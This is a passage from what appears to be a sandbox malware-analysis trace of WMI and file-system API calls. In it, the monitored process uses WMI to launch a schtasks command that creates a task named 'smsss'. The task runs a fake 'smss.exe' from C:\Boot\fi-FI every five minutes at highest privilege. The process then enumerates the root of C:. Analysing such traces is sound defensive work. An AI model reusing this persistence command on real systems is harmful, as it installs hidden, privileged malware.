0x80004002 [0075.055] WbemDefPath:IUnknown:AddRef (This=0x1bf6f560) returned 0x3 [0075.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f560, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0075.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f560, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0075.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f560, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf77330) returned 0x0 [0075.055] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77330, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.055] WbemDefPath:IUnknown:Release (This=0x1bf77330) returned 0x3 [0075.055] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0075.055] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0075.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f560, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0075.055] WbemDefPath:IUnknown:Release (This=0x1bf6f560) returned 0x2 [0075.055] WbemDefPath:IUnknown:Release (This=0x1bf6f560) returned 0x1 [0075.055] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0075.056] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0075.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f560, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6f560) returned 0x0 [0075.056] WbemDefPath:IUnknown:AddRef (This=0x1bf6f560) returned 0x3 [0075.056] WbemDefPath:IUnknown:Release (This=0x1bf6f560) returned 0x2 [0075.056] WbemDefPath:IWbemPath:SetText (This=0x1bf6f560, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f4a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f560, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f560, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f560, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0075.056] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf6f4a0) returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f560, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6f560, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6f560, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0075.056] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6f4a0, uIndex=0x0, pszName="root") returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6f560, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6f560, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0075.056] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6f4a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6f560, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6f560, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6f4a0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6f4a0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0075.056] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6f4a0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f0e0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f0e0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f4a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f4a0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f4a0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0075.057] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f4a0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0075.058] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f4a0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0075.058] IWbemServices:GetObject (in: This=0x1bf62ee0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11ef0c0, ppCallResult=0x0) returned 0x0 [0075.088] IWbemClassObject:GetMethod (in: This=0x11ef0c0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11ef430, ppOutSignature=0x1b2fd9e0*=0x11ef7a0) returned 0x0 [0075.088] IWbemClassObject:SpawnInstance (in: This=0x11ef430, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6af30) returned 0x0 [0075.089] IWbemClassObject:Get (in: This=0x1bf6af30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19990*=0, plFlavor=0x2a19994*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19990*=8, plFlavor=0x2a19994*=32) returned 0x0 [0075.089] IWbemClassObject:Get (in: This=0x1bf6af30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19990*=8, plFlavor=0x2a19994*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19990*=8, plFlavor=0x2a19994*=32) returned 0x0 [0075.089] IWbemClassObject:Put (This=0x1bf6af30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"smsss\" /sc MINUTE /mo 5 /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0075.089] IWbemClassObject:Get (in: This=0x1bf6af30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19a20*=0, plFlavor=0x2a19a24*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19a20*=13, plFlavor=0x2a19a24*=32) returned 0x0 [0075.090] IWbemClassObject:Get (in: This=0x1bf6af30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19a20*=13, plFlavor=0x2a19a24*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19a20*=13, plFlavor=0x2a19a24*=32) returned 0x0 [0075.090] IUnknown:QueryInterface (in: This=0x11ee9e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11ee9e0) returned 0x0 [0075.090] IUnknown:QueryInterface (in: This=0x11ee9e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0075.090] IUnknown:QueryInterface (in: This=0x11ee9e0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0075.090] IUnknown:AddRef (This=0x11ee9e0) returned 0x3 [0075.090] IUnknown:QueryInterface (in: This=0x11ee9e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0075.090] IUnknown:QueryInterface (in: This=0x11ee9e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0075.090] IUnknown:QueryInterface (in: This=0x11ee9e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11ee9e8) returned 0x0 [0075.090] IMarshal:GetUnmarshalClass (in: This=0x11ee9e8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0075.090] IUnknown:Release (This=0x11ee9e8) returned 0x3 [0075.091] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0075.091] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0075.091] IUnknown:QueryInterface (in: This=0x11ee9e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0075.091] IUnknown:Release (This=0x11ee9e0) returned 0x2 [0075.091] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0075.091] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0075.091] IUnknown:QueryInterface (in: This=0x11ee9e0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0075.091] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0075.091] IUnknown:QueryInterface (in: This=0x11ee9e0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0075.091] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0075.091] IUnknown:AddRef (This=0x11ee9e0) returned 0x3 [0075.091] IWbemClassObject:Put (This=0x1bf6af30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ee9e0, varVal2=0x0), Type=0) returned 0x0 [0075.092] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f1a0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0075.092] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f1a0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0075.092] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f1a0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0075.092] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f0e0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0075.092] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0075.092] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.092] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f1a0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0075.092] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f1a0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0075.092] IWbemServices:ExecMethod (in: This=0x1bf62ee0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6af30, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6b1e0, ppCallResult=0x0) returned 0x0 [0075.286] IWbemClassObject:Get (in: This=0x1bf6b1e0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19d38*=0, plFlavor=0x2a19d3c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc10, varVal2=0x0), pType=0x2a19d38*=19, plFlavor=0x2a19d3c*=0) returned 0x0 [0075.286] IWbemClassObject:Get (in: This=0x1bf6b1e0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a19d38*=19, plFlavor=0x2a19d3c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc10, varVal2=0x0), pType=0x2a19d38*=19, plFlavor=0x2a19d3c*=0) returned 0x0 [0075.288] CoTaskMemAlloc (cb=0x20c) returned 0x1163970 [0075.288] GetSystemDirectoryW (in: lpBuffer=0x1163970, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0075.288] CoTaskMemFree (pv=0x1163970) [0075.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0075.289] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0075.290] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x11a65a0 [0075.290] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0075.291] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0075.291] FindNextFileW (in: 